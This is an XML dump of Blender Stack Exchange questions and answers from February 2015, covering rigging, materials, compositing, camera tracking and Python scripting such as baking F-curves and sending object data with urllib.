  <row Id="26277" PostTypeId="2" ParentId="26269" CreationDate="2015-02-25T17:19:29.870" Score="3" Body="&lt;p&gt;All you need to do is change the origin by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; &lt;em&gt;&gt; Origin to Center of Mass&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is happening is the physical representation of the mesh is confused by the non-symmetrical mesh, it instead calculates it as if half of the mesh is below the origin, making it very bottom heavy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2xnDX.gif&quot; alt=&quot;RigidBodyGif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-02-25T17:24:44.313" LastActivityDate="2015-02-25T17:24:44.313" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26278" PostTypeId="1" AcceptedAnswerId="26285" CreationDate="2015-02-25T17:44:31.410" Score="0" ViewCount="652" Body="&lt;p&gt;Is there any way to delete the light bounces without losing the illumination? I mean, can i delete or hide that 'white dot' on the image without losing the coloration made by the lighting? (I'm doing this on Blender Render)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aUQN7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-02-25T20:48:56.010" Title="Is there any way to delete the light bounces without losing the illumination?" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26279" PostTypeId="1" CreationDate="2015-02-25T17:45:34.153" Score="1" ViewCount="47" Body="&lt;p&gt;I have created a creature for the project and I am supposed to create an animation where the creature is running. This is where my problem comes in, I cannot get the bones used on my creature to attach or create vertex groups for the individual parts. If you could reply with directions or instructions as soon as possible that’d be lovely. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="12819" LastEditorUserId="241" LastEditDate="2015-02-25T17:49:08.767" LastActivityDate="2015-02-25T18:42:58.307" Title="Unable to attach bones to 3D model or create vertex groups" Tags="&lt;bones&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26280" PostTypeId="2" ParentId="5034" CreationDate="2015-02-25T18:41:34.820" Score="2" Body="&lt;p&gt;By using these tools, in theory, several aspects of review and production can be handled in the post-production stage of development. This is opposed to loosing resources and time when needing slight changes or resolving minor issues that are nevertheless preventative of publishing the final product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are three major points that these tools directly attempt to address:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Artistically the camera direction can be manipulated both for 2D and 3D imagery to affect the focus, subject, tone, etc., similarly to how shot framing and color grading are used. All of these artistic components are heavily dependent on the source material, so re-rendering frames is usually necessary.&lt;/li&gt;&#xA;&lt;li&gt;Additionally, in stereoscopic workflow the camera arrangement can be complicated, or the effect intended too arcane to manage without test shots and re-rendering many attempts.&lt;/li&gt;&#xA;&lt;li&gt;To tie the two above together and fortify the concept, in computer graphics acquisition of imagery is expensive in terms of both time and man hours. If a frame needs to be re-acquired simply due to a focus, or alignment issue a light field will alleviate the issue by allowing that process to be done in &quot;post&quot;, whether the need is artistic, technical, or to correct a flaw.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="10945" LastActivityDate="2015-02-25T18:41:34.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26281" PostTypeId="2" ParentId="26279" CreationDate="2015-02-25T18:42:58.307" Score="1" Body="&lt;p&gt;Have you tried linking your model to the rig using automatic weights? (i.e. By selecting your model first and then your rig, then pressing control+P, and then choosing: With Automatic Weights)&#xA;You could then vertex paint the weight of each bone individually by hand to your liking.&lt;/p&gt;&#xA;" OwnerUserId="12723" LastActivityDate="2015-02-25T18:42:58.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26282" PostTypeId="1" AcceptedAnswerId="27697" CreationDate="2015-02-25T18:53:13.380" Score="1" ViewCount="484" Body="&lt;p&gt;I have a texture mapped mesh, which looks normal in the 3D view, but when I run it in the blender game engine, something strange happens. Whenever there are two faces and one should be occluding the other, the furthest back face appears to be in front. Any ideas why this is happening? I've tried playing with backface culling settings and flipping mesh normals but none of that solves the problem.&lt;/p&gt;&#xA;" OwnerUserId="11518" LastActivityDate="2015-03-26T08:07:52.223" Title="Mesh faces that are behind other faces appearing in front in game engine" Tags="&lt;game-engine&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26283" PostTypeId="1" AcceptedAnswerId="26292" CreationDate="2015-02-25T18:54:37.673" Score="1" ViewCount="583" Body="&lt;p&gt;How can I bake f-curve using python for the active object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gp7Ds.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6426" LastEditorDisplayName="user1853" LastEditDate="2015-02-26T09:44:58.627" LastActivityDate="2015-02-26T09:44:58.627" Title="How to bake F-Curve using python?" Tags="&lt;python&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26284" PostTypeId="1" AcceptedAnswerId="26572" CreationDate="2015-02-25T20:35:20.863" Score="3" ViewCount="623" Body="&lt;p&gt;I am sending object loc rot and scale every keyframe to http address using urllib but the frame rate drops significantly.&lt;br&gt;&#xA;Thats the code I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import urllib&#xA;import mathutils &#xA;from bpy import context&#xA;from urllib import request, parse&#xA;from math import sin, cos, radians&#xA;from mathutils import Matrix&#xA;&#xA;&#xA;def RunPerFrame(scene):&#xA;    for obj in bpy.data.objects:&#xA;        mat = bpy.context.object.matrix_world&#xA;        loc = mat.to_translation()&#xA;        rot = mat.to_3x3().to_quaternion()&#xA;        scale = obj.dimensions&#xA;        qtX = round(rot.x,3)&#xA;        qtY = round(rot.y,3)&#xA;        qtZ = round(rot.z,3)&#xA;        qtW = round(rot.w,3)&#xA;        loX = round(loc.x,3)&#xA;        loY = round(loc.y,3)&#xA;        loZ = round(loc.z,3)&#xA;        scX = round(scale.x,3)&#xA;        scY = round(scale.y,3)&#xA;        scZ = round(scale.z,3)&#xA;&#xA;    url = ''&#xA;    values = { 'msgInstruction=' : 'MOVE_OBJ',&#xA;        'rotQuat=' : str(qtX) + ',' + str(qtY) + ',' + str(qtZ) + ',' + str(qtW),&#xA;        'objLoc=' : str(loX) + ',' + str(loY) + ',' + str(loZ),&#xA;        'objScale=' : str(scX) + ',' + str(scY) + ',' + str(scZ) }&#xA;&#xA;&#xA;    data = urllib.parse.urlencode(values)&#xA;    encoded_data = data.encode('ascii')&#xA;    req = urllib.request.Request(url, encoded_data)&#xA;    response = urllib.request.urlopen(req)&#xA;    the_page = response.read()&#xA;&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(RunPerFrame)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently testing with one object and the frame rate drops below 2 fps&#xA;Is there a way to make this faster with this code?&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="5113" LastEditDate="2015-03-04T00:24:22.423" LastActivityDate="2015-04-03T03:01:21.087" Title="Sending object data from blender with urllib very slow" Tags="&lt;python&gt;&lt;scripting&gt;&lt;network&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="26285" PostTypeId="2" ParentId="26278" CreationDate="2015-02-25T20:48:56.010" Score="2" Body="&lt;p&gt;This can easily be done by disabling the specular highlights of a lamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, with the lamp selected and in the &lt;em&gt;Properties&lt;/em&gt; panel, go to the &lt;em&gt;Object Data&lt;/em&gt; tab (this is how it's actually called, but it's the one with the &lt;em&gt;Lamp&lt;/em&gt; icon), and under the &lt;em&gt;Lamp&lt;/em&gt; subsection uncheck the &lt;em&gt;Specular&lt;/em&gt; checkmark.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cDoRW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2015-02-25T20:48:56.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26286" PostTypeId="1" AcceptedAnswerId="26289" CreationDate="2015-02-25T20:51:43.693" Score="2" ViewCount="1187" Body="&lt;p&gt;So I am making something for a video overlay. It should be semi-transparent to allow some of the video to be seen through it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was not a problem at first. The item was a glass ellipsoid with text (opaque) and other objects (opaque) in front of it which casts shadows and reflections. Using glossy surface and playing with roughness and also adding a transparent shader (mixed shader) did the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the project includes putting something opaque behind the glass which should be diffracted through it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transparent shader does not diffract what is behind it. The glass shader does but once it is introduced, I lose all transparency in the glass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding a mixed-shader with transparency gives a diffracted and non-diffracted view of behind. Adding a mixed-shader with holdout makes the ellipsoid and its diffractions semi-transparent, even so the opaque object is now semi-transparent (though the glass). Also tried refraction shader. Same issue as glass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am trying to do is make anywhere where no light hits the glass (environment transmissions/reflections, refractions) are all transparent but opaque objects in front and behind the glass are still opaque.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender 2.73a, Cycles. Nodes.&lt;/p&gt;&#xA;" OwnerUserId="12821" LastActivityDate="2015-02-27T00:12:45.980" Title="I want Glass to be transparent where nothing exists" Tags="&lt;cycles-render-engine&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26288" PostTypeId="2" ParentId="26273" CreationDate="2015-02-25T21:24:33.357" Score="1" Body="&lt;p&gt;You keyframed all bones in the movement action:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lylXK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you delete everything but the first (master) then it would work as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why couldn't see this is the checked show_only_errors option:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4c97f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BXlJr.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/34686&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2015-02-27T08:24:20.450" LastActivityDate="2015-02-27T08:24:20.450" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26289" PostTypeId="2" ParentId="26286" CreationDate="2015-02-25T21:50:09.263" Score="5" Body="&lt;p&gt;One way you could do this is by using a sort of &quot;greenscreen&quot;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a big sphere which encloses the entire scene, and give it a material which will only be visible when seen directly through a transmissive material. Also disable visibility for unwanted ray types:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/71CCj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Put the sphere on it's own layer (I put it on layer 2), and create a second renderlayer which excludes it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5RhDX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first renderlayer is identical except for the &lt;em&gt;Exclude&lt;/em&gt; setting.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the compositor to turn the green channel of one renderlayer into the alpha channel of the other:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PfSYw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/49/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=49&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If there is already red green and blue in your scene, you could try using the compositor to turn the difference between the two renders into transparency:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p9T5m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/31/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=31&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you may need to tweak things to get it to work as desired.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-02-27T00:12:45.980" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26291" PostTypeId="1" CreationDate="2015-02-25T22:03:41.540" Score="0" ViewCount="21" Body="&lt;p&gt;If I'm on another animation when I export as auto desk, the arms of my animation I'm not on get messed up position wise? I hit f and everything. I don't know if I should press the 3 but maybe? help!!!&lt;/p&gt;&#xA;" OwnerUserId="9495" LastActivityDate="2015-02-25T22:03:41.540" Title="Arms repositioned after exporting if animation is not current one?" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26292" PostTypeId="2" ParentId="26283" CreationDate="2015-02-25T22:13:51.580" Score="3" Body="&lt;p&gt;running &lt;code&gt;bpy.ops.graph.bake()&lt;/code&gt; in the console rises a context error so i changed the context using one of &lt;a href=&quot;https://blender.stackexchange.com/a/6105/5113&quot;&gt;CoDEmanX seggestions&lt;/a&gt; as follows :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;area = bpy.context.area&#xA;old_type = area.type&#xA;&#xA;obj = bpy.context.active_object&#xA;curves = obj.animation_data.action.fcurves&#xA;for curve in curves:&#xA;    curve.select = True&#xA;    area.type = 'GRAPH_EDITOR'&#xA;    bpy.ops.graph.bake()&#xA;    area.type = old_type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will bake all the F-curve of the active object&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-02-25T22:13:51.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26293" PostTypeId="1" CreationDate="2015-02-25T22:19:02.227" Score="2" ViewCount="980" Body="&lt;p&gt;So I've taken the route of making my characters hair in blender with particles, kind of giving them their own physics and all. It works wonderfully in blender, but no matter what format I export it in, it seems I get a pearly white bald head when opening it in Unity. Is there any way to export it without having any changes to it? &lt;/p&gt;&#xA;" OwnerUserId="10869" LastActivityDate="2015-02-25T22:19:02.227" Title="Exporting Particles?" Tags="&lt;export&gt;&lt;particles&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26295" PostTypeId="2" ParentId="26275" CreationDate="2015-02-25T23:53:10.887" Score="2" Body="&lt;p&gt;You might be able to use some of the techniques from this &lt;a href=&quot;http://www.blenderguru.com/tutorials/camera-mapping-tutorial-v2/&quot; rel=&quot;nofollow&quot;&gt;tutorial on camera mapping&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Namely, you may want to try using &quot;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping/UV/Unwrapping#Project_From_View&quot; rel=&quot;nofollow&quot;&gt;Project from View&lt;/a&gt;&quot; to project selected mesh faces' UV coordinates based on the current camera view. I've never tried using it via scripting, though.&lt;/p&gt;&#xA;" OwnerUserId="1617" LastEditorUserId="1617" LastEditDate="2015-02-26T23:28:12.387" LastActivityDate="2015-02-26T23:28:12.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26296" PostTypeId="1" AcceptedAnswerId="26298" CreationDate="2015-02-26T01:59:20.127" Score="2" ViewCount="474" Body="&lt;p&gt;In camera tracking how do i figure out the settings for a cannon 6d. I know the sensor width it 35.8 but I'm unsure about what to use for the other settings. Especially pixel width and optical center.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="12825" LastActivityDate="2015-02-26T02:14:21.063" Title="In camera tracking how do i figure out the settings for the cannon 6d" Tags="&lt;camera&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26297" PostTypeId="1" AcceptedAnswerId="26302" CreationDate="2015-02-26T02:02:12.180" Score="4" ViewCount="1135" Body="&lt;p&gt;I'm using custom shapes for a character armature. These shapes are objects that are floating around in my 3D space. They aren't really connected to the armature or the character mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I append the character mesh to a project, all these custom shapes follow along, as objects. This clutters up my 3D view, and I have to remove these objects every time I append a character mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way of hiding these/putting them into the armature layer/not appending them somehow when I'm appending a character?&lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2015-02-26T13:23:45.487" Title="How to hide custom shapes' object for bones in armature?" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;&lt;layers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26298" PostTypeId="2" ParentId="26296" CreationDate="2015-02-26T02:14:21.063" Score="2" Body="&lt;p&gt;&lt;strong&gt;Optical center&lt;/strong&gt; should be the center of your image height/2 , width/2 ,  unless you have cropped the image. Then it should be the original center of your image. There is button for this labeled &lt;kbd&gt;center&lt;/kbd&gt;. This is relevant to accounting for lens distortion.  The &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pixel aspect ratio&lt;/strong&gt; should be &lt;strong&gt;one&lt;/strong&gt; unless you used something like an anamorphic lens, which stretches the pixels when the image distortion is countered in post. &lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-02-26T02:14:21.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26300" PostTypeId="2" ParentId="26268" CreationDate="2015-02-26T07:37:40.837" Score="2" Body="&lt;p&gt;Just adding this as an alternative approach for future. Blender has this thing called Actions that are essentially separated animation timelines. You can have any number of actions in your blend file for every animation you want to create (idle, idle2, walk, walk2...) and you can add, copy and delete them whichever way you like without them interfering with each other in any way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then mix actions into longer animations (walk+hand wave) using the NLA editor, line them up as one long, continuous animation like you're doing now, or if you're targeting Unity or somesuch, FBX export can save all the actions along with the file. No need to manually set the frame ranges later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get it done the way you're doing, sure. And actions are a bit confusing to work with first. But I think it's the easier route in the long run.&lt;/p&gt;&#xA;" OwnerUserId="3420" LastActivityDate="2015-02-26T07:37:40.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26301" PostTypeId="1" CreationDate="2015-02-26T08:07:25.003" Score="2" ViewCount="661" Body="&lt;p&gt;I have created a particle system in a plane which renders an object (UV Sphere) for each particle.&#xA;The instanciated UV Sphere has a driver in its scale properties, so the Spheres created with the particle system have this driver working on each particle. This means that I can add drivers to my particles and they work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also in the Blender Python API there are these functions in particle objects:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;driver_add()&lt;/li&gt;&#xA;&lt;li&gt;driver_remove()&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(you can see them in bpy.data.objects['Plane.002'].particle_systems[0].particles[0])&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Has anybody known where the drivers of particles are stored?&lt;/strong&gt; Which is the property and its data path?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been looking for it in these paths:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;bpy.data.objects['Foo'].animation_data.drivers -&gt; all object drivers but not the particle ones&lt;/li&gt;&#xA;&lt;li&gt;bpy.data.objects['Plane.002'].particle_systems[&quot;ParticleSystem&quot;].settings.animation_data -&gt; None &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/34666&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is the test file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate any help you can provide. &lt;/p&gt;&#xA;" OwnerUserId="6276" LastActivityDate="2018-09-14T11:58:10.797" Title="Which is the path to particle drivers data? (Blender Python API)" Tags="&lt;python&gt;&lt;particles&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26302" PostTypeId="2" ParentId="26297" CreationDate="2015-02-26T09:10:08.580" Score="3" Body="&lt;p&gt;Unlink these objects from the scene:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.context.scene.objects.unlink(bpy.context.active_object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pros:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There will be no clutter, even no extra stuff in outliner&lt;/li&gt;&#xA;&lt;li&gt;You will be able to still see them in the dataview outliner.&lt;/li&gt;&#xA;&lt;li&gt;Bones will still use them as shapes&lt;/li&gt;&#xA;&lt;li&gt;They won't be deleted with file save&lt;/li&gt;&#xA;&lt;li&gt;It will still work with file linking&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Cons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You will have to link them back to scene to make changes, so do this last&lt;/li&gt;&#xA;&lt;li&gt;Other people won't know what's going on, it's not standard and I would do this only on personal projects&lt;/li&gt;&#xA;&lt;li&gt;It might not work with future blender releases, its a hack.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-02-26T13:23:45.487" LastActivityDate="2015-02-26T13:23:45.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26303" PostTypeId="1" CreationDate="2015-02-26T10:33:35.540" Score="1" ViewCount="94" Body="&lt;p&gt;I'm doing a simulation project with two collegues in university in which we'll simulate a star(it's a phyiscs project).&lt;br&gt;&#xA;we're considering building blender from source as python module and use the module in c# program.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;requirements&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;the module should help us in these things:&lt;br&gt;&#xA;1-nebula drawing(physics of smoke is optional).&lt;br&gt;&#xA;2-star formation(the accumulating and pressing etc, phyisics will be done by us but we must make sure that the particle system will help us).&lt;br&gt;&#xA;3-gravity and pressure.&lt;br&gt;&#xA;4-color(the color depends on mass, again we can calculate the color by our hands but blender should be able to apply the color we've calculated not on every particle but on the star).&lt;br&gt;&#xA;5-explosion.&lt;br&gt;&#xA;6-diffrential rotation: rotation must vary by latitude and distance from center, the rotation effect on the star is optional but the rotation itself is required.&lt;br&gt;&#xA;7-can be used easily(at least as easy as using python module in c# can be) in winforms c# and can be told on what window will the draw be.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Question&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;and the real quesion is : can the requirements be met ?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;PS&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;we were using dpsf with xna but when tried dpsf, it seems it doesn't do physics, and that's not our propose.&lt;br&gt;&#xA;ofcourse we don't want to use the program as we're afraid of university policy things, but using a library and programming yourself is definitly legal.  &lt;/p&gt;&#xA;" OwnerUserId="12828" LastEditorUserId="12828" LastEditDate="2015-02-27T15:57:34.713" LastActivityDate="2015-02-27T15:57:34.713" Title="blender as module , will it suffice?" Tags="&lt;python&gt;&lt;particles&gt;&lt;physics&gt;&lt;fluid-simulation&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2015-02-26T19:37:19.727" ContentLicense="CC BY-SA 3.0" />
  <row Id="26304" PostTypeId="2" ParentId="26263" CreationDate="2015-02-26T12:31:58.577" Score="2" Body="&lt;p&gt;The short answer is yes. How you do it will depend on what you have access to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should start by creating a script that can get the data from another machine, then move the armature with that data and send the job off to the farm. Python's urllib could be used to request data from another machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you get stuck along the way, ask a more specific question. The first part of transferring data will be python specific and probably better asked on stackoverflow, once you get to blender specific tasks ask here.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-26T12:31:58.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26305" PostTypeId="1" AcceptedAnswerId="26306" CreationDate="2015-02-26T13:05:25.190" Score="2" ViewCount="1282" Body="&lt;p&gt;Is there a way to convert an image with a bleck background to a bleck and white so that I can use it as a mask in Cycles?&#xA;Here's the idea - From this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bKuZ9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UbiM3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm creating this Earth scene from &quot;blenderguru.com&quot; (link below) howeever, the clouds in Cycles are not visible enough and part of the clouds is fully transparent - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Internal - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/yvaUf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/wA5wp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Internal material - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZJLjq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles material - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OL2Zr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what it does in the Internal, but I expect the same result in Cycles. If anyone can explain to me why do clowds are less visible in Cycles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Earth tutorial - &lt;a href=&quot;http://www.blenderguru.com/tutorials/create-a-realistic-earth/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blenderguru.com/tutorials/create-a-realistic-earth/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2015-02-26T13:45:21.333" LastActivityDate="2015-02-26T13:45:21.333" Title="Convert an image with black background to a black and white" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26306" PostTypeId="2" ParentId="26305" CreationDate="2015-02-26T13:35:30.903" Score="4" Body="&lt;p&gt;to create a mask from BW image you can use this nodes :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UI6rO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can change the threshold for different results&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-26T13:35:30.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
